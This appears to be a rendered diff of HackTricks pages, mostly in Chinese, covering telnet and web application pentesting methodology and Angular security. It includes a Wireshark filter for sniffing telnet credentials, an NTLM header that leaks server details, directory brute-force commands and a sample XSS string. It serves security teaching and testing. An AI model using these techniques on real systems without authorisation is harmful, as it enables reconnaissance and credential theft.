wireshark to hear creds being passed wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -4,7 +4,7 @@
## 基本信息 ## 基本信息
Web服务是最**常见和广泛的服务**,并且存在许多**不同类型的漏洞**。 Web服务是最 **常见和广泛的服务**,并且存在许多 **不同类型的漏洞**
**默认端口:** 80 (HTTP)443(HTTPS) **默认端口:** 80 (HTTP)443(HTTPS)
```bash ```bash
@ -46,7 +46,7 @@ web-api-pentesting.md
### Identify ### Identify
检查正在运行的服务器**版本**是否有**已知漏洞**。\ 检查运行的服务器**版本**是否存在**已知漏洞**。\
**HTTP响应的头部和cookie**可能非常有用,以**识别**所使用的**技术**和/或**版本**。**Nmap扫描**可以识别服务器版本,但工具[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)或[**https://builtwith.com/**](https://builtwith.com)**也可能有用:** **HTTP响应的头部和cookie**可能非常有用,以**识别**所使用的**技术**和/或**版本**。**Nmap扫描**可以识别服务器版本,但工具[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)或[**https://builtwith.com/**](https://builtwith.com)**也可能有用:**
```bash ```bash
whatweb -a 1 <URL> #Stealthy whatweb -a 1 <URL> #Stealthy
@ -98,19 +98,19 @@ webanalyze -host https://google.com -crawl 2
- [**Wordpress**](wordpress.md) - [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_请注意**同一域名**可能在不同的**端口**、**文件夹**和**子域名**中使用**不同的技术**。_\ _请注意**同一域名**可能在不同的 **端口**、**文件夹**和 **子域名**中使用 **不同的技术**。_\
如果 web 应用程序使用了之前列出的任何知名 **技术/平台** **其他**,请不要忘记 **在互联网上搜索** 新的技巧(并告诉我!)。 如果 web 应用程序使用了之前列出的任何知名 **技术/平台**或 **其他**,请不要忘记 **在互联网上搜索** 新的技巧(并告诉我!)。
### 源代码审查 ### 源代码审查
如果应用程序的 **源代码****github** 上可用,除了进行 **自己的白盒测试** 外,还有一些 **信息** 可能对当前的 **黑盒测试** **有用** 如果应用程序的 **源代码****github** 上可用,除了进行 **自己的白盒测试** 外,还有 **一些信息** 可能对当前的 **黑盒测试** **有用**
- 是否有 **变更日志或自述文件或版本** 文件或任何可以通过网络访问的 **版本信息** - 是否有 **变更日志或 Readme 或版本** 文件或任何可以通过网络访问的 **版本信息**
- **凭据** 是如何保存的?是否有任何(可访问的?)**文件** 包含凭据(用户名或密码)? - **凭据** 是如何保存的?是否有任何(可访问的?) **文件** 包含凭据(用户名或密码)?
- **密码****明文**、**加密** 还是使用了哪种 **哈希算法** - **密码****明文**、**加密** 还是使用了哪种 **哈希算法**
- 是否使用了任何 **主密钥** 来加密某些内容?使用了哪种 **算法** - 是否使用了任何 **主密钥** 来加密某些内容?使用了哪种 **算法**
- 你能否通过利用某个漏洞 **访问这些文件** - 你能否通过利用某个漏洞 **访问这些文件**
- 在 **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **旧提交中引入的密码** - 在 **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **旧提交** 中引入的 **密码**
{{#ref}} {{#ref}}
code-review-tools.md code-review-tools.md
@ -168,10 +168,10 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- 访问**假页面**如 /whatever_fake.php (.aspx,.html,.etc) - 访问**假页面**如 /whatever_fake.php (.aspx,.html,.etc)
- 在**cookie值**和**参数**值中**添加 "\[]", "]]", 和 "\[\["**以创建错误 - 在**cookie值**和**参数**值中**添加 "\[]", "]]", 和 "\[\["**以创建错误
- 通过在**URL**的**末尾**提供输入为 **`/~randomthing/%s`** 来生成错误 - 通过在**URL**的**末尾**提供输入为**`/~randomthing/%s`**来生成错误
- 尝试**不同的HTTP动词**如 PATCH、DEBUG 或错误的如 FAKE - 尝试**不同的HTTP动词**如 PATCH、DEBUG 或错误的如 FAKE
#### **检查您是否可以上传文件 (**[**PUT动词WebDav**](put-method-webdav.md)**)** #### **检查您是否可以上传文件**[**PUT动词WebDav**](put-method-webdav.md)****
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试: 如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试:
@ -183,7 +183,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- 如果应用程序在任何部分**不强制用户使用HTTPS**,那么它**容易受到中间人攻击MitM** - 如果应用程序在任何部分**不强制用户使用HTTPS**,那么它**容易受到中间人攻击MitM**
- 如果应用程序**使用HTTP发送敏感数据密码**,那么这是一个高风险漏洞。 - 如果应用程序**使用HTTP发送敏感数据密码**,那么这是一个高风险漏洞。
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 检查**漏洞**(在漏洞赏金计划中,这类漏洞可能不会被接受),并使用 [**a2sv** ](https://github.com/hahwul/a2sv) 重新检查漏洞: 使用[**testssl.sh**](https://github.com/drwetter/testssl.sh)检查**漏洞**(在漏洞赏金计划中,这类漏洞可能不会被接受),并使用[**a2sv**](https://github.com/hahwul/a2sv)重新检查漏洞:
```bash ```bash
./testssl.sh [--htmlfile] 10.10.10.10:443 ./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also #Use the --htmlfile to save the output inside an htmlfile also
@ -210,7 +210,7 @@ sslyze --regular <ip:port>
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者wayback, otx, commoncrawl的HTML爬虫。 - [**gau**](https://github.com/lc/gau) (go): 使用外部提供者wayback, otx, commoncrawl的HTML爬虫。
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 这个脚本将找到带参数的URL并列出它们。 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 这个脚本将找到带参数的URL并列出它们。
- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有JS渲染能力的HTML爬虫。 - [**galer**](https://github.com/dwisiswant0/galer) (go): 具有JS渲染能力的HTML爬虫。
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫具有JS美化能力能够在JS文件中搜索新路径。值得一提的是[JSScanner](https://github.com/dark-warlord14/JSScanner)它是LinkFinder的一个包装器。 - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫具有JS美化能力能够在JS文件中搜索新路径。查看[JSScanner](https://github.com/dark-warlord14/JSScanner)也可能值得一看它是LinkFinder的一个包装器。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从HTML源和嵌入的JavaScript文件中提取端点。对漏洞猎人、红队员、信息安全专家有用。 - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从HTML源和嵌入的JavaScript文件中提取端点。对漏洞猎人、红队员、信息安全专家有用。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier解析JavaScript文件中相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。 - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier解析JavaScript文件中相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件HTML它将使用巧妙的正则表达式从丑陋压缩文件中提取相对URL。 - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件HTML它将使用巧妙的正则表达式从丑陋压缩文件中提取相对URL。
@ -225,7 +225,7 @@ sslyze --regular <ip:port>
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定正则表达式查找敏感信息。 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定正则表达式查找敏感信息。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/蜘蛛,专为网络安全专业人员设计。 - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/蜘蛛,专为网络安全专业人员设计。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 这是一个Go包和[命令行工具](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)用于从JavaScript源代码中提取URL、路径、秘密和其他有趣的数据。 - [**jsluice**](https://github.com/BishopFox/jsluice) (go): 这是一个Go包和[命令行工具](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)用于从JavaScript源代码中提取URL、路径、秘密和其他有趣的数据。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**,用于**提取请求中的参数和端点**以创建自定义字典进行模糊测试和枚举。 - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**,用于**提取请求中的参数和端点**以创建自定义字典进行模糊测试和枚举。
- [**katana**](https://github.com/projectdiscovery/katana) (go): 这个工具很棒。 - [**katana**](https://github.com/projectdiscovery/katana) (go): 这个工具很棒。
- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个链接。 - [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个链接。
@ -235,13 +235,13 @@ sslyze --regular <ip:port>
工具: 工具:
- **Dirb** / **Dirbuster** - 包含在Kali中**旧**(和**慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。 - **Dirb** / **Dirbuster** - 包含在Kali中**旧**(和**慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 不允许自动签名证书,但**允许递归搜索。 - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 不允许自动签名证书,但**允许递归搜索。
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 允许自动签名证书,**不**具有**递归**搜索。 - [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许自动签名证书,但**没有**递归搜索。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。** - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫而是一个工具给定找到的URL列表将删除“重复”的URL。 - [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫而是一个工具给定找到的URL列表将删除“重复”的URL。
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展用于从不同页面的Burp历史记录中创建目录列表。 - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展从不同页面的burp历史中创建目录列表。
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL基于js导入 - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL基于js导入
- [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。 - [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
@ -269,8 +269,8 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
### 检查每个找到的文件 ### 检查每个找到的文件
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中可能容易被接管的断开链接。 - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中可能容易被接管的断开链接。
- **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...。备份命名的常见变体有_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...。备份命名的常见变体有_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp和file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行的网页文件中搜索**隐藏参数。 - **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
- _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
@ -288,8 +288,8 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
**有趣的文件** **有趣的文件**
- 查找**CSS**文件中指向其他文件的**链接**。 - 查找**CSS**文件中指向其他文件的**链接**。
- [如果您找到一个 _**.git**_ 文件,可以提取一些信息](git.md) - [如果您找到一个_**.git**_文件可以提取一些信息](git.md)
- 如果您找到一个 _**.env**_ 文件可以找到API密钥、数据库密码和其他信息。 - 如果您找到一个_**.env**_文件可以找到API密钥、数据库密码和其他信息。
- 如果您找到**API端点**,您[也应该测试它们](web-api-pentesting.md)。这些不是文件,但可能“看起来像”它们。 - 如果您找到**API端点**,您[也应该测试它们](web-api-pentesting.md)。这些不是文件,但可能“看起来像”它们。
- **JS文件**: 在爬虫部分提到了一些可以从JS文件中提取路径的工具。此外监控每个找到的JS文件也很有趣因为在某些情况下变化可能表明代码中引入了潜在的漏洞。您可以使用例如[**JSMon**](https://github.com/robre/jsmon)**.** - **JS文件**: 在爬虫部分提到了一些可以从JS文件中提取路径的工具。此外监控每个找到的JS文件也很有趣因为在某些情况下变化可能表明代码中引入了潜在的漏洞。您可以使用例如[**JSMon**](https://github.com/robre/jsmon)**.**
- 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件以查找是否存在漏洞。 - 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件以查找是否存在漏洞。
@ -297,7 +297,7 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
- **JavaScript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JavaScript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck去混淆** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - **JsFuck去混淆** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 在多个场合,您需要**理解使用的正则表达式**。这将很有用:[https://regex101.com/](https://regex101.com) [https://pythonium.net/regex](https://pythonium.net/regex) - 在多个场合,您需要**理解使用的正则表达式**。这将很有用:[https://regex101.com/](https://regex101.com)或[https://pythonium.net/regex](https://pythonium.net/regex)
- 您还可以**监控检测到表单的文件**,因为参数的变化或新表单的出现可能表明潜在的新漏洞功能。 - 您还可以**监控检测到表单的文件**,因为参数的变化或新表单的出现可能表明潜在的新漏洞功能。
**403 Forbidden/Basic Authentication/401 Unauthorized (绕过)** **403 Forbidden/Basic Authentication/401 Unauthorized (绕过)**
@ -312,9 +312,9 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
**NTLM认证 - 信息泄露** **NTLM认证 - 信息泄露**
如果运行的服务器要求身份验证是**Windows**您发现一个登录请求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\ 如果运行的服务器要求身份验证是**Windows**或您发现一个登录请求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
**发送**头部:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**,服务器将通过头部"WWW-Authenticate"响应内部信息IIS版本Windows版本...)。\ **发送**头部:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作方式**,服务器将响应内部信息IIS版本Windows版本...在头部"WWW-Authenticate"中。\
您可以使用**nmap插件** "_http-ntlm-info.nse_" 来自动化此过程。 您可以使用**nmap插件**"_http-ntlm-info.nse_"来**自动化**此过程。
**HTTP重定向 (CTF)** **HTTP重定向 (CTF)**
@ -322,13 +322,13 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
### 网络漏洞检查 ### 网络漏洞检查
现在已经对网络应用程序进行了全面的枚举,是时候检查许多可能的漏洞。您可以在这里找到检查清单: 现在已经对Web应用程序进行了全面的枚举,是时候检查许多可能的漏洞。您可以在这里找到检查清单:
{{#ref}} {{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md ../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}} {{#endref}}
有关网络漏洞的更多信息,请访问: 有关Web漏洞的更多信息,请访问:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -348,7 +348,7 @@ Entry_1:
Name: Notes Name: Notes
Description: Notes for Web Description: Notes for Web
Note: | Note: |
https://book.hacktricks.xyz/pentesting/pentesting-web https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2: Entry_2:
Name: Quick Web Scan Name: Quick Web Scan

View File

@ -4,23 +4,23 @@
Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
* [ ] Angular 被认为是一个客户端框架,不期望提供服务器端保护 * [ ] Angular被认为是一个客户端框架不期望提供服务器端保护
* [ ] 项目配置中禁用了脚本的源映射 * [ ] 项目配置中禁用了脚本的源映射
* [ ] 不可信的用户输入在用于模板之前始终被插值或清理 * [ ] 不可信的用户输入在用于模板之前始终被插值或清理
* [ ] 用户无法控制服务器端或客户端模板 * [ ] 用户无法控制服务器端或客户端模板
* [ ] 不可信的用户输入在被应用程序信任之前,使用适当的安全上下文进行清理 * [ ] 不可信的用户输入在被应用程序信任之前,使用适当的安全上下文进行清理
* [ ] 不使用 `BypassSecurity*` 方法处理不可信输入 * [ ] 不使用不可信输入的`BypassSecurity*`方法
* [ ] 不可信的用户输入不会传递给 Angular 类,如 `ElementRef``Renderer2` `Document`,或其他 JQuery/DOM 接收器 * [ ] 不可信的用户输入不会传递给Angular类`ElementRef``Renderer2``Document`或其他JQuery/DOM接收器
## What is Angular ## What is Angular
Angular 是一个 **强大****开源** 的前端框架,由 **Google** 维护。它使用 **TypeScript** 来增强代码的可读性和调试能力。凭借强大的安全机制Angular 防止常见的客户端漏洞,如 **XSS** **开放重定向**。它也可以在 **服务器端** 使用,因此从 **两个角度** 考虑安全性非常重要。 Angular是一个**强大**且**开源**的前端框架,由**Google**维护。它使用**TypeScript**来增强代码的可读性和调试能力。凭借强大的安全机制Angular防止常见的客户端漏洞如**XSS**和**开放重定向**。它也可以在**服务器端**使用,因此从**两个角度**考虑安全性非常重要。
## Framework architecture ## Framework architecture
为了更好地理解 Angular 的基础知识,让我们了解其基本概念。 为了更好地理解Angular的基础知识让我们了解其基本概念。
常见的 Angular 项目通常看起来像: 常见的Angular项目通常看起来像
```bash ```bash
my-workspace/ my-workspace/
├── ... #workspace-wide configuration files ├── ... #workspace-wide configuration files
@ -41,15 +41,15 @@ my-workspace/
``` ```
根据文档,每个 Angular 应用程序至少有一个组件,即根组件 (`AppComponent`),它将组件层次结构与 DOM 连接。每个组件定义一个包含应用程序数据和逻辑的类,并与定义要在目标环境中显示的视图的 HTML 模板相关联。`@Component()` 装饰器将其下方的类标识为组件,并提供模板和相关的组件特定元数据。`AppComponent``app.component.ts` 文件中定义。 根据文档,每个 Angular 应用程序至少有一个组件,即根组件 (`AppComponent`),它将组件层次结构与 DOM 连接。每个组件定义一个包含应用程序数据和逻辑的类,并与定义要在目标环境中显示的视图的 HTML 模板相关联。`@Component()` 装饰器将其下方的类标识为组件,并提供模板和相关的组件特定元数据。`AppComponent``app.component.ts` 文件中定义。
Angular NgModules 声明一个编译上下文,用于一组专门针对应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 `AppModule`,它提供启动机制以启动应用程序。一个应用程序通常包含多功能模块。`AppModule``app.module.ts` 文件中定义。 Angular NgModules 声明一个编译上下文,用于一组专门针对应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 `AppModule`,它提供启动机制以启动应用程序。一个应用程序通常包含多功能模块。`AppModule``app.module.ts` 文件中定义。
Angular `Router` NgModule 提供一个服务,让您可以在应用程序的不同状态和视图层次结构之间定义导航路径。`RouterModule``app-routing.module.ts` 文件中定义。 Angular `Router` NgModule 提供了一项服务,让您可以定义应用程序中不同状态和视图层次结构之间的导航路径。`RouterModule``app-routing.module.ts` 文件中定义。
对于不与特定视图相关联且希望在组件之间共享的数据或逻辑,您可以创建一个服务类。服务类定义前面会有 `@Injectable()` 装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。 对于不与特定视图相关联且希望在组件之间共享的数据或逻辑,您可以创建一个服务类。服务类定义前面会有 `@Injectable()` 装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。
## Sourcemap 配置 ## Sourcemap 配置
Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为 JavaScript 代码,然后使用 `angular.json` 配置构建项目。查看 `angular.json` 文件,我们观察到一个选项可以启用或禁用 sourcemap。根据 Angular 文档,默认配置为脚本启用 sourcemap 文件,并且默认情况下不隐藏: Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为 JavaScript 代码,然后使用 `angular.json` 配置构建项目。查看 `angular.json` 文件,我们观察到一个选项可以启用或禁用 sourcemap。根据 Angular 文档,默认配置为脚本启用 sourcemap 文件,并且默认情况下不隐藏:
```json ```json
"sourceMap": { "sourceMap": {
"scripts": true, "scripts": true,
@ -60,13 +60,13 @@ Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为
``` ```
一般来说sourcemap 文件用于调试目的,因为它们将生成的文件映射到其原始文件。因此,不建议在生产环境中使用它们。如果启用 sourcemaps它可以提高可读性并通过复制 Angular 项目的原始状态来帮助文件分析。然而,如果它们被禁用,审查者仍然可以通过搜索反安全模式手动分析编译后的 JavaScript 文件。 一般来说sourcemap 文件用于调试目的,因为它们将生成的文件映射到其原始文件。因此,不建议在生产环境中使用它们。如果启用 sourcemaps它可以提高可读性并通过复制 Angular 项目的原始状态来帮助文件分析。然而,如果它们被禁用,审查者仍然可以通过搜索反安全模式手动分析编译后的 JavaScript 文件。
此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources或 Debugger 和 Sources→ \[id].main.js 中找到。根据启用的选项,该文件末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`,如果 **hidden** 选项设置为 **true**,则可能不包含。然而,如果 **scripts** 的 sourcemap 被禁用测试变得更加复杂我们无法获取该文件。此外sourcemap 可以在项目构建期间启用,例如 `ng build --source-map` 此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources或 Debugger 和 Sources→ \[id].main.js 中找到。根据启用的选项,该文件末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`或者如果 **hidden** 选项设置为 **true**,则可能不包含。然而,如果 **scripts** 的 sourcemap 被禁用测试变得更加复杂我们无法获取该文件。此外sourcemap 可以在项目构建期间启用,例如 `ng build --source-map`
## 数据绑定 ## 数据绑定
绑定是指组件与其对应视图之间的通信过程。它用于在 Angular 框架中传输数据。数据可以通过多种方式传递,例如通过事件、插值、属性或通过双向绑定机制。此外,数据还可以在相关组件(父子关系)之间以及在两个不相关的组件之间使用服务功能进行共享。 绑定是指组件与其对应视图之间的通信过程。它用于在 Angular 框架中传输数据。数据可以通过多种方式传递,例如通过事件、插值、属性或通过双向绑定机制。此外,数据还可以在相关组件(父子关系)之间以及在两个不相关的组件之间使用服务功能共享。
我们可以通过数据流对绑定进行分类: 我们可以数据流对绑定进行分类:
* 数据源到视图目标(包括 _interpolation_、_properties_、_attributes_、_classes_ 和 _styles_);可以通过在模板中使用 `[]``{{}}` 应用; * 数据源到视图目标(包括 _interpolation_、_properties_、_attributes_、_classes_ 和 _styles_);可以通过在模板中使用 `[]``{{}}` 应用;
* 视图目标到数据源(包括 _events_);可以通过在模板中使用 `()` 应用; * 视图目标到数据源(包括 _events_);可以通过在模板中使用 `()` 应用;
@ -75,13 +75,13 @@ Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为
绑定可以在属性、事件和属性上调用,以及在源指令的任何公共成员上调用: 绑定可以在属性、事件和属性上调用,以及在源指令的任何公共成员上调用:
| 类型 | 目标 | 示例 | | 类型 | 目标 | 示例 |
| --------- | ------------------------------------------------------ | ------------------------------------------------------------------ | | --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
| 属性 | 元素属性、组件属性、指令属性 | \<img \[alt]="hero.name" \[src]="heroImageUrl"> | | 属性 | 元素属性、组件属性、指令属性 | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| 事件 | 元素事件、组件事件、指令事件 | \<button type="button" (click)="onSave()">保存 | | 事件 | 元素事件、组件事件、指令事件 | \<button type="button" (click)="onSave()">保存 |
| 双向 | 事件和属性 | \<input \[(ngModel)]="name"> | | 双向 | 事件和属性 | \<input \[(ngModel)]="name"> |
| 属性 | 属性(例外) | \<button type="button" \[attr.aria-label]="help">帮助 | | 属性 | 属性(例外) | \<button type="button" \[attr.aria-label]="help">帮助 |
| 类 | 类属性 | \<div \[class.special]="isSpecial">特殊 | | 类 | 类属性 | \<div \[class.special]="isSpecial">特殊 |
| 样式 | 样式属性 | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> | | 样式 | 样式属性 | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
## Angular 安全模型 ## Angular 安全模型
@ -117,7 +117,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
* `STYLE` 在将 CSS 绑定到 `style` 属性时使用; * `STYLE` 在将 CSS 绑定到 `style` 属性时使用;
* `URL` 用于 URL 属性,例如 `<a href>` * `URL` 用于 URL 属性,例如 `<a href>`
* `SCRIPT` 用于 JavaScript 代码; * `SCRIPT` 用于 JavaScript 代码;
